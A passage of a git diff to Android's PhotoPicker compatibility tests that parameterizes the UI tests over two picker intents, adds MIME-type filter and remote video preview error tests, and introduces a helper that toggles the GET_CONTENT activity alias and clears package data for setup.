org.junit.AfterClass; +import org.junit.BeforeClass; import org.junit.Ignore; import org.junit.Test; import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; +import org.junit.runners.Parameterized.Parameter; +import org.junit.runners.Parameterized.Parameters; import java.util.ArrayList; +import java.util.Arrays; import java.util.List; /** * Photo Picker Device only tests for common flows. */ -@RunWith(AndroidJUnit4.class) +@RunWith(Parameterized.class) public class PhotoPickerTest extends PhotoPickerBaseTest { + + @Parameter(0) + public String mAction; + + @Parameters(name = "intent={0}") + public static Iterable<? extends Object> data() { + return getTestParameters(); + } + private List<Uri> mUriList = new ArrayList<>(); + private static int sGetContentTakeOverActivityAliasState; + + @BeforeClass + public static void setUpBeforeClass() throws Exception { + sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState(); + clearPackageData(getDocumentsUiPackageName()); + } + + @AfterClass + public static void tearDownAfterClass() throws Exception { + GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState); + } + @After public void tearDown() throws Exception { for (Uri uri : mUriList) { @@ -78,13 +109,13 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testSingleSelect() throws Exception { final int itemCount = 1; - createImages(itemCount, mContext.getUserId(), mUriList); + mUriList.addAll(createImagesAndGetUris(itemCount, mContext.getUserId())); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - mActivity.startActivityForResult(intent, REQUEST_CODE); + final Intent intent = new Intent(mAction); + launchPhotoPickerForIntent(intent); final UiObject item = findItemList(itemCount).get(0); - clickAndWait(item); + clickAndWait(mDevice, item); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -95,19 +126,20 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testSingleSelectForFavoritesAlbum() throws Exception { final int itemCount = 1; - createImages(itemCount, mContext.getUserId(), mUriList, true); + mUriList.addAll(createImagesAndGetUris(itemCount, mContext.getUserId(), + /* isFavorite */ true)); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - mActivity.startActivityForResult(intent, REQUEST_CODE); + final Intent intent = new Intent(mAction); + launchPhotoPickerForIntent(intent); UiObject albumsTab = mDevice.findObject(new UiSelector().text( "Albums")); - clickAndWait(albumsTab); + clickAndWait(mDevice, albumsTab); final UiObject album = findItemList(1).get(0); - clickAndWait(album); + clickAndWait(mDevice, album); final UiObject item = findItemList(itemCount).get(0); - clickAndWait(item); + clickAndWait(mDevice, item); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -117,18 +149,18 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testLaunchPreviewMultipleForVideoAlbum() throws Exception { final int videoCount = 2; - createVideos(videoCount, mContext.getUserId(), mUriList); + mUriList.addAll(createVideosAndGetUris(videoCount, mContext.getUserId())); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + Intent intent = new Intent(mAction); intent.setType("video/*"); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); - mActivity.startActivityForResult(intent, REQUEST_CODE); + addMultipleSelectionFlag(intent); + launchPhotoPickerForIntent(intent); UiObject albumsTab = mDevice.findObject(new UiSelector().text( "Albums")); - clickAndWait(albumsTab); + clickAndWait(mDevice, albumsTab); final UiObject album = findItemList(1).get(0); - clickAndWait(album); + clickAndWait(mDevice, album); final List<UiObject> itemList = findItemList(videoCount); final int itemCount = itemList.size(); @@ -136,10 +168,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertThat(itemCount).isEqualTo(videoCount); for (int i = 0; i < itemCount; i++) { - clickAndWait(itemList.get(i)); + clickAndWait(mDevice, itemList.get(i)); } - clickAndWait(findViewSelectedButton()); + clickAndWait(mDevice, findViewSelectedButton()); // Wait for playback to start. This is needed in some devices where playback // buffering -> ready state takes around 10s. @@ -150,10 +182,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testSingleSelectWithPreview() throws Exception { final int itemCount = 1; - createImages(itemCount, mContext.getUserId(), mUriList); + mUriList.addAll(createImagesAndGetUris(itemCount, mContext.getUserId())); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - mActivity.startActivityForResult(intent, REQUEST_CODE); + final Intent intent = new Intent(mAction); + launchPhotoPickerForIntent(intent); final UiObject item = findItemList(itemCount).get(0); item.longClick(); @@ -161,99 +193,29 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final UiObject addButton = findPreviewAddOrSelectButton(); assertThat(addButton.waitForExists(1000)).isTrue(); - clickAndWait(addButton); - - final Uri uri = mActivity.getResult().data.getData(); - assertPickerUriFormat(uri, mContext.getUserId()); - assertRedactedReadOnlyAccess(uri); - } - - @Test - public void testMultiSelect_invalidParam() throws Exception { - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1); - mActivity.startActivityForResult(intent, REQUEST_CODE); - final GetResultActivity.Result res = mActivity.getResult(); - assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED); - } - - @Test - public void testMultiSelect_invalidNegativeParam() throws Exception { - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, -1); - mActivity.startActivityForResult(intent, REQUEST_CODE); - final GetResultActivity.Result res = mActivity.getResult(); - assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED); - } - - @Test - public void testMultiSelect_returnsNotMoreThanMax() throws Exception { - final int maxCount = 2; - final int imageCount = maxCount + 1; - createImages(imageCount, mContext.getUserId(), mUriList); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, maxCount); - mActivity.startActivityForResult(intent, REQUEST_CODE); - - final List<UiObject> itemList = findItemList(imageCount); - final int itemCount = itemList.size(); - assertThat(itemCount).isEqualTo(imageCount); - // Select maxCount + 1 item - for (int i = 0; i < itemCount; i++) { - clickAndWait(itemList.get(i)); - } - - UiObject snackbarTextView = mDevice.findObject(new UiSelector().text( - "Select up to 2 items")); - assertWithMessage("Timed out while waiting for snackbar to appear").that( - snackbarTextView.waitForExists(SHORT_TIMEOUT)).isTrue(); - - assertWithMessage("Timed out waiting for snackbar to disappear").that( - snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue(); - - clickAndWait(findAddButton()); - - final ClipData clipData = mActivity.getResult().data.getClipData(); - final int count = clipData.getItemCount(); - assertThat(count).isEqualTo(maxCount); - } - - @Test - public void testDoesNotRespectExtraAllowMultiple() throws Exception { - final int imageCount = 2; - createImages(imageCount, mContext.getUserId(), mUriList); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true); - mActivity.startActivityForResult(intent, REQUEST_CODE); - - final List<UiObject> itemList = findItemList(imageCount); - final int itemCount = itemList.size(); - assertThat(itemCount).isEqualTo(imageCount); - // Select 1 item - clickAndWait(itemList.get(0)); + clickAndWait(mDevice, addButton); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); - assertPersistedGrant(uri, mContext.getContentResolver()); assertRedactedReadOnlyAccess(uri); } @Test public void testMultiSelect() throws Exception { final int imageCount = 4; - createImages(imageCount, mContext.getUserId(), mUriList); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); - mActivity.startActivityForResult(intent, REQUEST_CODE); + mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId())); + Intent intent = new Intent(mAction); + addMultipleSelectionFlag(intent); + launchPhotoPickerForIntent(intent); final List<UiObject> itemList = findItemList(imageCount); final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - clickAndWait(itemList.get(i)); + clickAndWait(mDevice, itemList.get(i)); } - clickAndWait(findAddButton()); + clickAndWait(mDevice, findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -269,18 +231,19 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testMultiSelect_longPress() throws Exception { final int videoCount = 3; - createDNGVideos(videoCount, mContext.getUserId(), mUriList); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); + mUriList.addAll(createDNGVideosAndGetUris(videoCount, mContext.getUserId())); + + Intent intent = new Intent(mAction); intent.setType("video/*"); - mActivity.startActivityForResult(intent, REQUEST_CODE); + addMultipleSelectionFlag(intent); + launchPhotoPickerForIntent(intent); final List<UiObject> itemList = findItemList(videoCount); final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(videoCount); // Select one item from Photo grid - clickAndWait(itemList.get(0)); + clickAndWait(mDevice, itemList.get(0)); // Preview the item UiObject item = itemList.get(1); @@ -292,14 +255,14 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { .that(addOrSelectButton.waitForExists(1000)).isTrue(); // Select the item from Preview - clickAndWait(addOrSelectButton); + clickAndWait(mDevice, addOrSelectButton); mDevice.pressBack(); // Select one more item from Photo grid - clickAndWait(itemList.get(2)); + clickAndWait(mDevice, itemList.get(2)); - clickAndWait(findAddButton()); + clickAndWait(mDevice, findAddButton()); // Verify that all 3 items are returned final ClipData clipData = mActivity.getResult().data.getClipData(); @@ -316,19 +279,20 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testMultiSelect_preview() throws Exception { final int imageCount = 4; - createImages(imageCount, mContext.getUserId(), mUriList); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); - mActivity.startActivityForResult(intent, REQUEST_CODE); + mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId())); + + Intent intent = new Intent(mAction); + addMultipleSelectionFlag(intent); + launchPhotoPickerForIntent(intent); final List<UiObject> itemList = findItemList(imageCount); final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - clickAndWait(itemList.get(i)); + clickAndWait(mDevice, itemList.get(i)); } - clickAndWait(findViewSelectedButton()); + clickAndWait(mDevice, findViewSelectedButton()); // Swipe left three times swipeLeftAndWait(); @@ -336,10 +300,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { swipeLeftAndWait(); // Deselect one item - clickAndWait(findPreviewSelectedCheckButton()); + clickAndWait(mDevice, findPreviewSelectedCheckButton()); // Return selected items - clickAndWait(findPreviewAddButton()); + clickAndWait(mDevice, findPreviewAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -386,20 +350,20 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { // Test 2: Click Mute Button // Click to unmute the audio - clickAndWait(muteButton); + clickAndWait(mDevice, muteButton); waitForBinderCallsToComplete(); // Check that mute button state is unmute, i.e., it shows `volume up` icon assertMuteButtonState(muteButton, /* isMuted */ false); // Click on the muteButton and check that mute button status is now 'mute' - clickAndWait(muteButton); + clickAndWait(mDevice, muteButton); waitForBinderCallsToComplete(); assertMuteButtonState(muteButton, /* isMuted */ true); // Click on the muteButton and check that mute button status is now unmute - clickAndWait(muteButton); + clickAndWait(mDevice, muteButton); waitForBinderCallsToComplete(); @@ -408,7 +372,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { // Test 3: Next preview resumes mute state // Go back and launch preview again mDevice.pressBack(); - clickAndWait(findViewSelectedButton()); + clickAndWait(mDevice, findViewSelectedButton()); waitForBinderCallsToComplete(); @@ -444,7 +408,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { // Test 2: Swipe resumes mute state, with state of mute button 'volume up' / 'unmute' // Click muteButton again to check the next video resumes the previous video's mute state - clickAndWait(muteButton); + clickAndWait(mDevice, muteButton); waitForBinderCallsToComplete(); @@ -498,7 +462,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final UiObject muteButton = findMuteButton(); // unmute the audio of video preview - clickAndWait(muteButton); + clickAndWait(mDevice, muteButton); // Remote video preview involves binder calls // Wait for Binder calls to complete and device to be idle @@ -548,7 +512,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final UiObject playerView = findPlayerView(); // Click on StyledPlayerView to make the video controls visible - clickAndWait(playerView); + clickAndWait(mDevice, playerView); assertPlayerControlsVisible(playPauseButton, muteButton); // Wait for 1s and check that controls are still visible @@ -565,7 +529,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertPlayerControlsHidden(playPauseButton, muteButton); // Click on the StyledPlayerView and check that controls appear - clickAndWait(playerView); + clickAndWait(mDevice, playerView); assertPlayerControlsVisible(playPauseButton, muteButton); // Swipe left to check that controls are now visible on swipe @@ -582,26 +546,26 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testMimeTypeFilter() throws Exception { final int videoCount = 2; - createDNGVideos(videoCount, mContext.getUserId(), mUriList); + mUriList.addAll(createDNGVideosAndGetUris(videoCount, mContext.getUserId())); final int imageCount = 1; - createImages(imageCount, mContext.getUserId(), mUriList); + mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId())); final String mimeType = "video/dng"; - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); + Intent intent = new Intent(mAction); + addMultipleSelectionFlag(intent); intent.setType(mimeType); - mActivity.startActivityForResult(intent, REQUEST_CODE); + launchPhotoPickerForIntent(intent); // find all items final List<UiObject> itemList = findItemList(-1); final int itemCount = itemList.size(); assertThat(itemCount).isAtLeast(videoCount); for (int i = 0; i < itemCount; i++) { - clickAndWait(itemList.get(i)); + clickAndWait(mDevice, itemList.get(i)); } - clickAndWait(findAddButton()); + clickAndWait(mDevice, findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -615,6 +579,89 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { } } + @Test + public void testExtraMimeTypeFilter() throws Exception { + final int dngVideoCount = 2; + // Creates 2 videos with mime type: "video/dng" + mUriList.addAll(createDNGVideosAndGetUris(dngVideoCount, mContext.getUserId())); + + final int mp4VideoCount = 3; + // Creates 3 videos with mime type: "video/mp4" + mUriList.addAll(createVideosAndGetUris(mp4VideoCount, mContext.getUserId())); + + final int imageCount = 4; + // Creates 4 images with mime type: "image/dng" + mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId())); + + Intent intent = new Intent(mAction); + addMultipleSelectionFlag(intent); + + if (Intent.ACTION_GET_CONTENT.equals(intent.getAction())) { + intent.setType("*/*"); + } + final String[] mimeTypes = new String[]{"video/dng", "image/dng"}; + intent.putExtra(Intent.EXTRA_MIME_TYPES, mimeTypes); + launchPhotoPickerForIntent(intent); + + final int totalCount = dngVideoCount + imageCount; + final List<UiObject> itemList = findItemList(totalCount); + final int itemCount = itemList.size(); + assertThat(itemCount).isAtLeast(totalCount); + for (int i = 0; i < itemCount; i++) { + clickAndWait(mDevice, itemList.get(i)); + } + + clickAndWait(mDevice, findAddButton()); + + final ClipData clipData = mActivity.getResult().data.getClipData(); + assertWithMessage("Expected number of items returned to be: " + itemCount) + .that(clipData.getItemCount()).isEqualTo(itemCount); + for (int i = 0; i < itemCount; i++) { + final Uri uri = clipData.getItemAt(i).getUri(); + assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); + assertRedactedReadOnlyAccess(uri); + assertContainsMimeType(uri, mimeTypes); + } + } + + @Test + public void testMimeTypeFilterPriority() throws Exception { + final int videoCount = 2; + mUriList.addAll(createDNGVideosAndGetUris(videoCount, mContext.getUserId())); + final int imageCount = 1; + mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId())); + + Intent intent = new Intent(mAction); + addMultipleSelectionFlag(intent); + // setType has lower priority than EXTRA_MIME_TYPES filters. + intent.setType("image/*"); + final String mimeType = "video/dng"; + intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[] {mimeType}); + launchPhotoPickerForIntent(intent); + + // find all items + final List<UiObject> itemList = findItemList(-1); + final int itemCount = itemList.size(); + assertThat(itemCount).isAtLeast(videoCount); + for (int i = 0; i < itemCount; i++) { + clickAndWait(mDevice, itemList.get(i)); + } + + clickAndWait(mDevice, findAddButton()); + + final ClipData clipData = mActivity.getResult().data.getClipData(); + assertWithMessage("Expected number of items returned to be: " + itemCount) + .that(clipData.getItemCount()).isEqualTo(itemCount); + for (int i = 0; i < itemCount; i++) { + final Uri uri = clipData.getItemAt(i).getUri(); + assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); + assertRedactedReadOnlyAccess(uri); + assertMimeType(uri, mimeType); + } + } + private void assertMuteButtonState(UiObject muteButton, boolean isMuted) throws UiObjectNotFoundException { // We use content description to assert the state of the mute button, there is no other way @@ -634,26 +681,27 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertPlayerControlsAutoHide(playPauseButton, muteButton); // Click on StyledPlayerView to make the video controls visible - clickAndWait(findPlayerView()); + clickAndWait(mDevice, findPlayerView()); // PlayPause button is now pause button, click the button to pause the video. - clickAndWait(playPauseButton); + clickAndWait(mDevice, playPauseButton); // Wait for 1s and check that play button is not auto hidden assertPlayerControlsDontAutoHide(playPauseButton, muteButton); // PlayPause button is now play button, click the button to play the video. - clickAndWait(playPauseButton); + clickAndWait(mDevice, playPauseButton); // Check that pause button auto-hides in 1s. assertPlayerControlsAutoHide(playPauseButton, muteButton); } private void launchPreviewMultipleWithVideos(int videoCount) throws Exception { - createVideos(videoCount, mContext.getUserId(), mUriList); - final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); + mUriList.addAll(createVideosAndGetUris(videoCount, mContext.getUserId())); + + Intent intent = new Intent(mAction); intent.setType("video/*"); - mActivity.startActivityForResult(intent, REQUEST_CODE); + addMultipleSelectionFlag(intent); + launchPhotoPickerForIntent(intent); final List<UiObject> itemList = findItemList(videoCount); final int itemCount = itemList.size(); @@ -661,10 +709,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertThat(itemCount).isEqualTo(videoCount); for (int i = 0; i < itemCount; i++) { - clickAndWait(itemList.get(i)); + clickAndWait(mDevice, itemList.get(i)); } - clickAndWait(findViewSelectedButton()); + clickAndWait(mDevice, findViewSelectedButton()); // Wait for playback to start. This is needed in some devices where playback // buffering -> ready state takes around 10s. @@ -687,7 +735,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { // Wait for 1s or Play/Pause button to hide playPauseButton.waitUntilGone(1000); // Click on StyledPlayerView to make the video controls visible - clickAndWait(playerView); + clickAndWait(mDevice, playerView); assertPlayerControlsVisible(playPauseButton, muteButton); } @@ -762,15 +810,41 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { REGEX_PACKAGE_NAME + ":id/preview_video_image")); } - private void clickAndWait(UiObject uiObject) throws Exception { - uiObject.click(); - mDevice.waitForIdle(); - } - private void swipeLeftAndWait() { final int width = mDevice.getDisplayWidth(); final int height = mDevice.getDisplayHeight(); mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 10); mDevice.waitForIdle(); } + + private static List<String> getTestParameters() { + return Arrays.asList( + MediaStore.ACTION_PICK_IMAGES, + Intent.ACTION_GET_CONTENT + ); + } + + private void addMultipleSelectionFlag(Intent intent) { + switch (intent.getAction()) { + case MediaStore.ACTION_PICK_IMAGES: + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, + MediaStore.getPickImagesMaxLimit()); + break; + case Intent.ACTION_GET_CONTENT: + intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true); + break; + default: + // do nothing + } + } + + private void launchPhotoPickerForIntent(Intent intent) throws Exception { + // GET_CONTENT needs to have setType + if (Intent.ACTION_GET_CONTENT.equals(intent.getAction()) && intent.getType() == null) { + intent.setType("*/*"); + intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"image/*", "video/*"}); + } + + mActivity.startActivityForResult(intent, REQUEST_CODE); + } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java index b6eb8f31642..db60d7ddd8c 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java @@ -21,12 +21,18 @@ import static android.photopicker.cts.PickerProviderMediaGenerator.setCloudProvi import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; +import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton; +import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_BUFFERING; +import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_PERMANENT_FAILURE; +import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE; import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_READY; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.anyInt; @@ -219,6 +225,41 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest { // test the remote preview APIs } + @Test + public void testVideoPreviewProgressIndicator() throws Exception { + initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1))); + launchPreviewMultiple(/* count */ 1); + + // Remote Preview displays circular progress indicator when playback state is + // PLAYBACK_STATE_BUFFERING. + verifyProgressIndicatorShowsWhenBuffering(/* surfaceId */ 0); + } + + @Test + public void testVideoPreviewPermanentError() throws Exception { + initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1))); + launchPreviewMultiple(/* count */ 1); + + // Remote Preview displays Snackbar to notify the user of an error when playback state is + // PLAYBACK_STATE_ERROR_PERMANENT_FAILURE. + verifySnackbarShowsWhenPermanentError(/* surfaceId */ 0); + } + + @Test + public void testVideoPreviewRetriableError() throws Exception { + initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1))); + final int surfaceId = 0; + launchPreviewMultiple(/* count */ 1); + + // Remote Preview displays an AlertDialog to notify the user of an error when playback state + // is PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE. + verifyAlertDialogShowsWhenRetriableError(surfaceId); + + // Remote Preview calls onMediaPlay when user clicks the retry button in the retriable error + // AlertDialog. + verifyAlertDialogRetry(surfaceId); + } + /** * Verify surface controller interactions on swiping from one video to another. * Note: This test assumes that the first video is in playing state. @@ -269,6 +310,54 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest { mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId)); } + private void verifyProgressIndicatorShowsWhenBuffering(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_BUFFERING); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + assertWithMessage("Expected circular progress indicator to be visible when state is " + + "buffering").that(findPreviewProgressIndicator().waitForExists(SHORT_TIMEOUT)) + .isTrue(); + } + + private void verifySnackbarShowsWhenPermanentError(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_PERMANENT_FAILURE); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + assertWithMessage("Expected snackbar to be visible when state is permanent error") + .that(findPreviewErrorSnackbar().waitForExists(SHORT_TIMEOUT)).isTrue(); + } + + private void verifyAlertDialogShowsWhenRetriableError(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + + assertWithMessage("Expected alert dialog with title to be visible when state is retriable " + + "error").that(findPreviewErrorAlertDialogTitle().waitForExists(SHORT_TIMEOUT)) + .isTrue(); + assertWithMessage("Expected alert dialog with text body to be visible when state is " + + "retriable error").that(findPreviewErrorAlertDialogBody().exists()).isTrue(); + assertWithMessage("Expected alert dialog with retry button to be visible when state is " + + "retriable error").that(findPreviewErrorAlertDialogRetryButton().exists()) + .isTrue(); + assertWithMessage("Expected alert dialog with cancel button to be visible when state is " + + "retriable error").that(findPreviewErrorAlertDialogCancelButton().exists()) + .isTrue(); + } + + private void verifyAlertDialogRetry(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + + assertWithMessage("Expected alert dialog with retry button to be visible when state is " + + "retriable error") + .that(findPreviewErrorAlertDialogRetryButton().waitForExists(SHORT_TIMEOUT)) + .isTrue(); + clickAndWait(mDevice, findPreviewErrorAlertDialogRetryButton()); + mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId)); + } + private void initCloudProviderWithImage(List<Pair<String, String>> mediaPairs) throws Exception { for (Pair<String, String> pair : mediaPairs) { @@ -348,4 +437,29 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest { // Wait for CloudMediaProvider binder calls to finish. MediaStore.waitForIdle(mContext.getContentResolver()); } + + private static UiObject findPreviewProgressIndicator() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_progress_indicator")); + } + + private static UiObject findPreviewErrorAlertDialogTitle() { + return new UiObject(new UiSelector().text("Trouble playing video")); + } + + private static UiObject findPreviewErrorAlertDialogBody() { + return new UiObject(new UiSelector().text("Check your internet connection and try again")); + } + + private static UiObject findPreviewErrorAlertDialogRetryButton() { + return new UiObject(new UiSelector().textMatches("R(etry|ETRY)")); + } + + private static UiObject findPreviewErrorAlertDialogCancelButton() { + return new UiObject(new UiSelector().textMatches("C(ancel|ANCEL)")); + } + + private static UiObject findPreviewErrorSnackbar() { + return new UiObject(new UiSelector().text("Can't play video")); + } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java new file mode 100644 index 00000000000..0ccdd3f280c --- /dev/null +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java @@ -0,0 +1,128 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.photopicker.cts.util; + +import android.Manifest; +import android.app.Instrumentation; +import android.content.ComponentName; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ProviderInfo; +import android.content.pm.ResolveInfo; +import android.provider.MediaStore; + +import androidx.test.InstrumentationRegistry; + +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.function.Supplier; + +public class GetContentActivityAliasUtils { + + private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(5); + private static final long POLLING_SLEEP_MILLIS = 100; + + private static ComponentName sComponentName = new ComponentName( + getMediaProviderPackageName(), + "com.android.providers.media.photopicker.PhotoPickerGetContentActivity"); + + public static int enableAndGetOldState() throws Exception { + final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); + final PackageManager packageManager = inst.getContext().getPackageManager(); + if (isComponentEnabledSetAsExpected(packageManager, + PackageManager.COMPONENT_ENABLED_STATE_ENABLED)) { + return PackageManager.COMPONENT_ENABLED_STATE_ENABLED; + } + + final int currentState = packageManager.getComponentEnabledSetting(sComponentName); + + updateComponentEnabledSetting(packageManager, + PackageManager.COMPONENT_ENABLED_STATE_ENABLED); + + return currentState; + } + + public static void restoreState(int oldState) throws Exception { + final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); + updateComponentEnabledSetting(inst.getContext().getPackageManager(), oldState); + } + + /** + * Clears the package data. + */ + public static void clearPackageData(String packageName) throws Exception { + InstrumentationRegistry.getInstrumentation().getUiAutomation() + .executeShellCommand("pm clear " + packageName); + + // We should ideally be listening to an effective measure to know if package data was + // cleared, like listening to a 